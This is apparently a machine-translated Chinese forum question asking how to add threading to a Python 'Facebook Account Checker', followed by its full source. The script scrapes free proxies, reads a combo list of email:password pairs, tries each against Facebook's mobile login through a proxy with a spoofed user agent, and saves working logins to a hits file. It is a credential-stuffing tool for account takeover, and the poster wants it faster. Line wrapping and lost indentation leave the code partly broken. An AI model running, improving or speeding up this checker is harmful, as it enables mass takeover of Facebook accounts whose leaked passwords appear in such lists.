我正在建立一个新程序,该程序通过组合列表检查Facebook帐户并使用代理(仅适用于http / s)如何提高检查器的速度?如果需要穿线,请将其添加并发送共享代码。 它使用网络驱动程序从“ https://sslproxies.org”获取代理,并使用“请求方法”使用生成的代理访问Facebook网址,并使用相同的方法检查帐户,但是我的程序检查速度很慢,我需要像使用线程方法那样提高性能但是无法将线程代码引入我的代码中,因为我根本不知道该怎么做,并且需要一些帮助
#Source Code By Rae mh alias SupeRR please contact me if you want to
copyright.
#Do not copyright all right reserved.
#Modules
import json
import requests
import os
import random
import colorama
from colorama import init
from colorama import Fore as F
import time
from termcolor import colored
from selenium import webdriver
#CODE
#init
init()
cores = random.choice([F.WHITE, F.GREEN, F.RED, F.BLUE, F.BLACK,
F.YELLOW, F.CYAN, F.MAGENTA])
print("")
print(colored(' SupeRR CheckeR v1.0 ','white','on_red'))
print(colored(' Facebook Account Checker ','white','on_red'))
print("")
print(colored(' Insert Your combo name with ".txt"
','white','on_blue'))
print("")
lists = input("+[x] Account list : ")
time.sleep(1)
os.system('clear')
os.system('cls')
print("")
print(colored(' SupeRR CheckeR v1.0 ','white','on_red'))
print(colored(' Facebook Account Checker ','white','on_red'))
print(colored(' w/ proxy graber ','white','on_red'))
print("")
#proxy graber
print(colored(' PROXY GRABER V1.0
','white','on_yellow'))
options = webdriver.ChromeOptions()
options.add_argument('headless')
driver = webdriver.Chrome(chrome_options=options)
driver.get("https://www.sslproxies.org/")
tbody = driver.find_element_by_tag_name("tbody")
cell = tbody.find_elements_by_tag_name("tr")
print(colored('Proxy List : ','yellow'))
for column in cell:
column = column.text.split(" ")
print("")
print(colored(column[0]+":"+column[1],'yellow'))
driver.quit()
print("")
print(colored('Getting Proxies from graber...','green'))
time.sleep(2)
print("")
time.sleep(2)
print(colored('Connecting using proxy' ,'green'))
os.system('clear')
os.system('cls')
#Proxy Use
proxy = {"http": "http://"+ column[0]+":"+column[1]}
url = 'https://mobile.facebook.com/login'
r = requests.get(url, proxies=proxy)
print("")
print(colored(' SupeRR CheckeR v1.0 ','white','on_red'))
print(colored(' Facebook Account Checker ','white','on_red'))
print(colored(' w/ proxy graber ','white','on_red'))
print("")
#Account Checking Via Request
print(colored(' ACCOUNTS STATUS
','white','on_green'))
print("")
lists = open(lists, 'r').readlines()
lists = [line.replace('\n',"") for line in lists]
for line in lists:
dados = line.split(":")
url = 'https://mobile.facebook.com/login'
headers = {'User-Agent' : 'Mozilla/5.0 (Linux; Android 4.0.4;
Galaxy Nexus Build/IMM76B'}
payload = {'email': dados[0], 'pass': dados[1]}
r = requests.post(url, headers=headers, data=payload,
proxies=proxy).text
if r.find("<title>Se connecter à Facebook | Facebook</title>")
== -1:
print(F.GREEN + "[+] Hits ~> {}:
{}".format(dados[0],dados[1] + " [+]"))
print("+--------------------[GOOD ACOUNTS]--------------
-----+\n" + "+[x] Account Info : " + dados[0] + "|" + dados[1] + "\n+
[x] Email Acess : True \n" + "+[x] Disabled Account : False",
file=open("Hits.txt", "a+"))
else:
print(F.RED + "[-] Bad ~> {}:
{}".format(dados[0],dados[1] + " [-]"))
print("")
print(colored('Done.','yellow'))
print("")
ext = input('The process finished Want you to exit ? : ')
if ext == "yes" or "Yes" or "Y" or "y":
exit()
print(colored('SupeRRchekeR 1.0v by SupeRR , Steam >
"https://steamcommunity.com/id/sxuxpxexr/"','blue'))
print(colored(' Facebook >
"https://www.facebook.com/RaeMah99"','blue'))
else:
print(colored('SupeRRchekeR 1.0v by SupeRR , Steam >
"https://steamcommunity.com/id/sxuxpxexr/"','blue'))
print(colored(' Facebook >
"https://www.facebook.com/RaeMah99"','blue'))
#Source Code By Rae mh alias SupeRR please contact me if you want to
copyright.
#Do not copyright all right reserved.